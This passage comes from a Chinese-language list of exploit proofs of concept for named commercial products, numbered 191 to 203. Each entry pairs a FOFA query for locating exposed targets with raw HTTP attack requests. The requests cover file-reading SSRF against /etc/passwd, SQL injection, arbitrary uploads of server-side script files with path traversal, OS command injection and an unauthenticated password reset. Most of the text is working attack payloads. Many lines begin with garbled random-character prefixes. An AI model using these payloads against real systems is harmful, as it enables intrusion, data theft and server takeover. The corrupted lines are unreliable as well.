9 ^) P2 t6 L+ e% yPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
# ]6 B& K' w9 ?0 ~7 k0 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  {& e3 z( |9 x0 d& X" e8 ?1 zContent-Type: application/x-www-form-urlencoded
; E; m+ X8 S0 f, jAccept-Encoding: gzip, deflate
% X) y7 K, U! a+ g9 Q2 S' oAccept-Language: zh-CN,zh;q=0.9
. Q7 R0 I4 Q8 R) j
poi=file:///etc/passwd
. L9 H# y8 L5 ~% ?" ^" c. G
4 ?" u) R6 h& s
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
9 w1 x' F9 G" O2 M* X) BFOFA：body="/CDGServer3/index.jsp"
7 }- n; h# P6 o9 N3 yPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
; g/ e- {8 s( k9 u  ^* D5 |9 FHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
( @9 v7 X! d7 i! _  R% p
! r, i- n2 O- Z; z- z% T
8 m, C. m8 n7 c3 R8 L" q192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
' ]) ~: O( E7 b" x. Q% |

' v/ F5 P/ q% V. z* G7 T% I9 A<% @ webhandler language="C#" class="AverageHandler" %>
9 U: q9 X9 U& l) {7 dusing System;
1 S. ^! ]! a/ w; @% i+ j. U. ausing System.Web;
public class AverageHandler : IHttpHandler
: ?% L/ g, w+ V" p* A% B( b{
/ O9 b/ a( g  }% }4 g: upublic bool IsReusable
{ get { return true; } }
" j8 M1 x- u; D% spublic void ProcessRequest(HttpContext ctx)
{
& _2 n, K' r% u: c" ^  H+ Nctx.Response.Write("test");
}
$ a7 r, X: h, k1 q7 H" J0 L}
* B) P: M% n1 E+ ^. D
* ?% ~1 S! T/ }; W7 I7 {1 [% Q
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
* k# Z9 r% [+ H  L' W; s) C! s- X$ C* v$ [User-Agent: Mozilla/5.0
6 g. F' a; Q# M) i+ u

. l* x, ]: g3 W8 n/ CPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
8 Z: g" R5 J) V8 s, |% K3 FUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
* C2 D3 N+ ]; S) pAccept: */*
9 q7 _) S0 j5 p& cConnection: close
' t. F9 S& i  o. qCookie: PHPSESSID=2333333333333;
8 q+ Y4 A+ |8 k; {9 j( H% X0 lContent-Type: application/x-www-form-urlencoded
Content-Length: 84
: g; w8 l: F' @, P7 H! y3 P! W/ c5 {
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

; s2 O0 ]4 c/ o6 a6 F
GET /master/img/config HTTP/1.1
Host:
3 Y" V+ A! `. v8 N" Y+ f! K/ |User-Agent: Mozilla/5.0
0 J9 F6 g' V# g1 [7 l! g

194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

0 v0 ?  D/ K, N+ M$ A/ z* fPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
3 F7 Z: r$ A/ b  W1 l' U- B4 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ L5 w: o  N3 sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- m, M0 p- r* HAccept-Encoding: gzip, deflate
2 e% ^3 A0 V0 s! l' d- aConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

0 N; p) z( h- ?) \* H& sContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
& G+ F9 [' L) [8 g' m) QContent-Type: text/plain
<% out.println("hello");%>
3 t! p  G+ V2 k  M0 f8 w. S6 C------WebKitFormBoundaryKNt0t4vBe8cX9rZk
' c0 E2 J  ~/ I7 x7 s; zContent-Disposition: form-data; name="json"
& V: Q% O, n  r' G9 [7 ^ {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
& e! e9 l. W; u8 n: h' G
, s# d5 ~4 ]& G+ s
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
# u5 G* g+ T4 k; u( m; g* G+ Z, k. }" dPOST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
1 C+ T/ W4 S  \# Q4 _6 wCache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
5 p. I9 p, i. w) W5 A1 l$ F( i, iAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
- ]1 B, d$ t8 z" W/ K3 h6 R

196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
8 Q# ?  p- N' l8 b# n( rConnection: close
+ X- J) B- S% k" F7 I
& B. W& `8 {+ R$ P4 _1 u! {{"xgh":"test","newPass":"test666","email":""}


2 P  ]$ j0 F& s* b- ^) C  f7 g
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
: N+ l5 H! |1 {( [0 s3 \) OHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close

7 S* ~7 K! v0 b9 U
' W/ k' u- Y0 }( H1 V$ E) n
3 j" m* d1 p/ R1 o9 w/ k198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
" p: I! d1 ^3 R# W3 Z  r+ o0 T3 Q1 E  WAccept-Encoding: gzip, deflate
' m. d9 F, v1 BAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
" f9 P- N5 Z' |/ H$ N  R1 bConnection: close

6 \- z0 Z/ b% e1 V& U
- w9 k9 ^4 d$ x199. cockpit系统assetsmanager_upload接口 文件上传
+ e" z( t: ^2 X/ r: A! L* M
! |4 p# j, ?# E2 [4 K! S1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

6 M8 \6 g* r" u& _0 J响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：

' g5 `/ h- e$ TPOST /auth/check HTTP/1.1
Content-Type: application/json

" c2 L, n' R; `8 ?# Y( G{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
! a: O+ O# ^* i' r  N* U
. d# g& s6 b3 ]) t7 l: t响应：200，返回值:
6 K" j! N# M5 Y( YSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
2 E! ]8 a' _& S. u- I' lFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
$ ], q+ }5 ~3 `: B$ \7 y
# d" [; o$ P( \* b-----------------------------36D28FBc36bd6feE7Fb3
/ U) y" O% q6 o  g$ E% ^' f% SContent-Disposition: form-data; name="files[]"; filename="tttt.php"
. T$ Z2 ~, H$ E0 z) `8 w' PContent-Type: text/php

. B1 k( K+ q& Y9 C; O! m& ?<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
7 z$ V1 L7 C8 ]Content-Disposition: form-data; name="folder"
; S- p: C2 C( c
-----------------------------36D28FBc36bd6feE7Fb3--
7 C$ h% {4 }1 k7 e5 {! |

/ a: A5 F( ]7 U5 I# D/storage/uploads/tttt.php
$ g  Z# I5 M5 g* b9 m$ u
" O4 y0 r; ], K% n3 q% e( ~1 C3 Q5 u200. SeaCMS海洋影视管理系统dmku SQL注入
9 W8 _1 x  i% z6 oFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
# J7 _0 E& h$ sCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
9 {: c, m3 v. k& O5 Z, `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
; m# c/ H0 E# @4 G/ R% V- b1 xAccept-Language: zh-CN,zh;q=0.9

2 R/ r  D) X" n/ l9 g
201. 方正全媒体新闻采编系统 binary SQL注入
1 _, @4 K5 U# mFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
4 o9 S. z. F- u) kPOST /newsedit/newsplan/task/binary.do HTTP/1.1
* v- q& q* g0 T- |4 K3 a3 ?Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( t' y; D* J- r- c2 _' fAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' d3 h& [5 _/ b! Q/ T0 ^Connection: close

) K5 `& T5 z; k' t  RTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
/ f1 h/ x$ n5 j2 I1 i8 K
$ \. Q" B, w; E5 v9 H7 V" t* m
6 n7 {4 k8 z4 |0 U202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
( `+ P& f' d( p$ K9 CGET /User/AccountEdit.aspx HTTP/1.1
2 A6 |& @3 ]- p5 m0 p1 LHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0

1 {5 F" b) W. F3 j& v. [$ D$ Z* E
/ n! o' W+ X  O3 A% @. Q# l* s替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
, N7 [0 h7 B9 l& i7 QAccept-Encoding: gzip, deflate, br
& `8 u* c3 W( ~+ c9 J+ jContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
6 b! j& y7 O* m3 S
-----------------------------786435874t38587593865736587346567358735687
! {2 b6 T; t, \$ p" u5 }Content-Disposition: form-data; name="__VIEWSTATE"

6 I0 x; p$ e$ ^- i9 _& W1 O__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
/ M3 u2 [& r2 [" W8 `Content-Disposition: form-data; name="__EVENTVALIDATION"

__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
9 r( V6 p/ }: @0 r- q# BContent-Type: text/plain
) j6 R- c* j9 |. g
! h+ V; k6 t, G- qHello World!
4 i/ d1 A# I+ R& a-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
-----------------------------786435874t38587593865736587346567358735687
/ r. s  Z9 V# {+ e+ k: k: V' z& ?; ]: fContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
; E- x& \( }, @) ^, r5 ~- o

6 y! w4 o4 G9 B* V1 X* j3 O-----------------------------786435874t38587593865736587346567358735687
  a3 A1 O+ x0 `% z+ w+ N6 i! LContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
, X) F7 Y% l8 ~2 a1 d( g9 \" a
, `7 d* ]% h9 X3 u; w
-----------------------------786435874t38587593865736587346567358735687--
) u4 d! T" f1 ?8 I

) X. X* h7 k" J; y2 Z& k/_data/Uploads/1123.txt
8 `' \' g' U: Y( |7 G
203. 红海云EHR PtFjk 文件上传
: K3 ?/ k% B+ F- s* U) x, Y4 P, NFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
/ M7 h. N$ h  sAccept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
3 Q: A( e  R/ E8 _
& J4 ^9 j' V( M1 Q- M------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
( ^# o+ X( x2 }3 a( i* j, a9 f, \0 N# N
+ L% Q% g4 d5 i, o4 o<% out.print("hello,eHR");%>
2 k$ B; j* y9 x% ^------WebKitFormBoundaryt7WbDl1tXogoZys4--
( g  K# m, ?) N, k8 _" T. j2 c


0 C' {4 K+ a2 `& V6 J- J
) D9 f& [$ Z$ n